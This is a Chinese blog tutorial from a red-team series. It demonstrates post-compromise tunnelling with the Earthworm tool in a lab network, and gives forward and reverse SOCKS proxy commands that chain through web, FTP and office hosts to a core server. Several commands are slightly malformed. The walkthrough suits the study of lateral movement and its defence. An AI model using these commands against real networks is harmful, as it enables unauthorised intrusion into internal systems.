前文推荐:
ATT&CK视角下的红蓝对抗:一. 隧道穿透技术详解
ATT&CK视角下的红蓝对抗:二. 内网探测协议出网
ATT&CK视角下的红蓝对抗:三. 内网常规隧道利用方法
ATT&CK视角下的红蓝对抗:四. 内网穿透之通过Earthworm(EW)进行隧道穿透
一. 通过Earthworm(EW)进行隧道穿透
在进行多层网段渗透时,我们经常会遇到各种代理隧道问题,仅靠使用端口转发无法完成,可以利用Socks协议建立隧道进行连接,Socks是代理服务可以说是lcx端口转发工具的升级版,有两种协议,分别是Socks 4和Socks 5。Socks 4只支持TCP,Socks 5支持TCP/UDP,核心功能是帮助他人通过socks访问网络。在主机上配置Socks协议代理服务,访问网站时Socks充当了中间人的角色,分别与双方(B/S)进行通信,然后将获得的结果通知对方,攻击者可以通过Socks客户端连接Socks服务,进而实现跳板攻击,EW工具使用具体参数如表1-1所示。
表1-1 EW参数介绍
参数 | 作用 |
---|---|
Ssocksd | 正向代理 |
Rcsock | 反向代理客户端 |
Rssocks | 反向代理服务端 |
Lcx_slave | 一侧通过反弹方式连接代理请求方,另一侧连接代理提供主机 |
Lcx_tran | 通过监听本地端口接收代理请求,并转发给代理提供主机 |
Lcx_listen | 通过监听本地端口接收数据,并将其转交给目标网络会连的代理提供主机 |
假设在内网渗透中发现主机,通过漏洞获取到管理权限,以Earthworm内网穿透工具为案例,通过socks协议演示连通内外网,本次实验环境如表1-1所示,实验拓扑如图1-1所示。
表1-1 通过EW进行隧道穿透实验环境表
主机类型 | 服务类型 | IP地址 | 区域 |
---|---|---|---|
Kali 2022 | 攻击机 | 192.168.0.58 | 外网 |
Windows server 2012 | Web服务器 | 192.168.0.25, 192.168.52.11 | DMZ区域 |
windows server 2008 | FTP 服务器 | 192.168.52.12, 192.168.1.49 | DMZ区域 |
windows 10 | PC主机 | 192.168.1.50, 192.168.2.2 | 办公区域 |
Windows server 2012 | 核心服务器 | 192.168.2.3 | 核心区域 |
1.一层正向连接
1)假设拿到Web服务器的Webshell权限后,探测到无法访问外网,这时上传EW工具到Web服务器进行隧道穿透。使用EW工具的ssocksd参数做正向代理,设置Socks代理监听本地8888端口,执行命令ew_for_Win.exe -s ssocksd -l 8888,其中-s参数是指定选择参数,这里指定ssocksd做正向代理,-l参数是指定本地监听端口,如图1-2所示。
2)在攻击机中修改 proxychains4.conf配置文件,并在其底部添加一行socks5 192.168.0.25 8888参数来完成 proxychains代理配置,如图1-13所示。
3)当配置完 proxychains 代理后,即可在攻击机执行proxychains rdesktop 192.168.52.12命令来连接FTP服务器,如图1-4所示,通过所建立的socks协议隧道,我们可以直接远程连接到FTP服务器中。
2.一层反向代理
1)假设当Web服务器它允许访问外部网络的情况下,可以利用EW工具以反向代理的方式进行socks隧道穿透,在Web服务器使用EW工具执行ew_for_Win.exe -s rssocks -d 192.168.0.58 -e 6666命令,连接攻击机服务端稍后监听的6666端口,-rssocks参数指连接反向代理服务端,-d参数指向攻击机的IP,-e参数指向攻击机开启监听的端口如图1-5所示。
2)在攻击机上使用EW工具开启服务端监听,执行./ew_for_linux64 -s rcsocks -e 6666 -d 8888命令,监听本地6666端口,同时6666端口流量映射到8888端口。其中-s参数指定使用rcsocks反向代理的方式,-e参数在这里是指攻击机服务端开启监听端口,-d参数是将要映射的端口,如图1-6所示。
3)在攻击机中修改 proxychains4.conf配置文件,并在其底部添加一行socks5 127.0.0.1 8888参数来完成proxychains代理配置,如图1-7所示。
4)当配置完proxychains代理后,即可在攻击机执行proxychains rdesktop 192.168.52.12命令来连接FTP服务器,如图1-8所示,通过所建立的socks协议隧道,我们可以直接远程连接到FTP服务器中。
3.二层正向代理
通过上述场景实现隧道穿透,通过后续利用获取到FTP权限,接着探测到办公区域PC主机开放RDP服务3389端口,通过获取到的凭证打算对其进行连接,在这里继续通过EW工具,实现在二层内网代理中连接PC主机的远程桌面服务,但PC主机只与FTP服务器连通,可以通过FTP服务器与Web服务器之间搭建隧道,在与kali攻击机搭建隧道,进行访问。
1)假设通过上述实验获取了FTP的控制权,在FTP服务器主机上传EW工具,执行ew_for_Win.exe -s ssocksd -l 8888命令,开启监听本机8888端口,如图1-9所示。
2)在Web服务器使用EW工具,执行ew_for_Win.exe -s lcx_tran -l 7777 -f 192.168.52.12 -g 8888命令,使用Web服务器的7777端口连接FTP服务器的8888端口,在它们中间搭建一条隧道,其中-f指定FTP服务器的IP,-g指定FTP服务器监听端口,-l指定本机监听端口,此时隧道已搭建成功,如图1-10所示。
3)在攻击机中修改 proxychains4.conf配置文件,并在其底部添加一行socks5 192.168.0.25 7777参数来完成 proxychains代理配置,如图1-11所示。
4)当配置完proxychains代理后,即可在攻击机执行proxychains rdesktop 192.168.1.50命令来连接PC主机,如图 1-12 所示,通过所建立的socsk协议隧道,我们可以直接远程连接到PC主机。
4.二层反向代理
1)假设当FTP服务器允许出网时,以反向代理为案例,演示二层反向代理如何进行隧道穿透,在FTP服务器执行ew_for_Win.exe -s ssocksd -l 8888"命令,设置监听8888端口,如图1-13所示。
2)在kali攻击机上开启本地监听,执行./ew_for_linux64 -s lcx_listen -l 8888 -e 7777命令,将稍后用于连接kali攻击机的7777端口转发到它的8888端口上。如图1-14所示。
3)接下来在Web服务器执行ew_for_Win.exe -s lcx_slave -d 192.168.0.58 -e 7777 -f 192.168.52.12 -g 8888命令,将FTP服务器的8888端口转发到Kali攻击机的7777监听端口,如图1-15所示。
4)在攻击机中修改 proxychains4.conf配置文件,并在其底部添加一行socks5 127.0.0.1 8888参数来完成proxychains代理配置,如图1-16所示。
当配置完proxychains代理后,即可在攻击机执行proxychains rdesktop 192.168.1.50命令来连接PC主机,如图1-17 所示,通过所建立的socsk协议隧道,我们可以直接远程连接到PC主机。
5.三层正向代理
假设通过上述描述,利用隧道穿透获取到了办公区域的PC机权限,探测后发现核心服务器的存在于PC主机处于同一网段,通过已知的凭据,最终目标是利用上传EW工具进行隧道穿透获取到核心服务器的权限。
1)假设在内网中PC主机不允许出网,利用正向代理的方式,执行ew_for_Win.exe -s ssocksd -l 8888命令,在PC主机上设置本地监听端口为8888,如图1-18所示。
2)在FTP服务器执行ew_for_Win.exe -s lcx_tran 7777 -f 192.168.1.50 -g 8888命令连接PC主机设置的监听,同时将流量转发给本地的7777端口。如图1-19所示。
3)继续在FTP服务器另外在打开cmd命令行,执行ew_for_Win.exe -s ssocksd -l 7777, 开启监听本地7777端口,如图1-20所示。
4)然后在Web服务器使用EW工具执行ew_for_Win.exe -s lcx_tran 8888 -f 192.168.52.12 7777命令,去连接FTP服务器的7777端口,转发到Web服务器的8888端口如图1-21所示。
5)接下来在攻击机中修改 proxychains4.conf配置文件,并在其底部添加一行socks5 192.168.0.25 8888参数来完成 proxychains 代理配置,如图1-22所示。
6)当配置完 proxychains 代理后,即可在攻击机执行proxychains rdesktop 192.168.2.3命令来连接靶机,如图 1-23 所示,通过所建立的 socks 协议隧道,我们可以直接远程连接到“靶机”中。
6.三层反向代理
根据上述所讲情况,假设PC主机可以出外网,利用EW工具使用反向连接的方式来进行演示三层隧道穿透。
1)在攻击机kali进行设置,执行ew_for_Win.exe -s rcsocks -l 1080 -e 8888命令设置监听本地端口8888指向本地1080端口,如图1-24所示。
2)在Web服务器设置监听执行ew_for_Win.exe -s lcx_slave -d 192.168.0.58 -e 8888 -f 192.168.52.12 -g 9999命令,将稍后监听到FTP服务器的9999端口流量转发到kali攻击机的8888端口,如图1-25所示。
3)接下来在FTP服务器设置,将FTP稍后监听7777端口的流量转发给本地的9999端口,执行ew_for_Win.exe -s lcx_listen -l 9999 -e 7777命令,这里是指稍后搭建的隧道流量,会通过本地的7777端口转发到本地的9999端口,如图1-26所示。
4)最后在PC主机设置,执ew_for_Win.exe -s rssocks -d 192.168.1.49 -e 7777命令,将流量转发到FTP服务器的7777端口,此时隧道已经连接通,如图1-27所示。
5)此时隧道已完成,在攻击机中修改 proxychains4.conf配置文件,并在其底部添加一行socks5 127.0.0.1 1080参数来完成proxychains代理配置,如图1-28所示。
当配置完proxychains代理后,即可在攻击机执行proxychains rdesktop 192.168.2.3命令来连接靶机,如图1-29所示,通过所建立的socks协议隧道,我们可以直接远程连接到靶机。
二.本篇总结
随着隧道技术的不断更新迭代,越来越多的攻击者利用隧道技术攻击企业内网,通过本篇文章从Earthworm(EW)隧道工具的利用方式,并且通过大量的案例来演示了多个实际常见的隧道场景,比如我们通过拿到系统权限后利用多个协议实现隧道穿透、端口转发、内网穿透,总之,希望本篇内容对读者有所帮助。
我正在参与2023腾讯技术创作特训营第三期有奖征文,组队打卡瓜分大奖!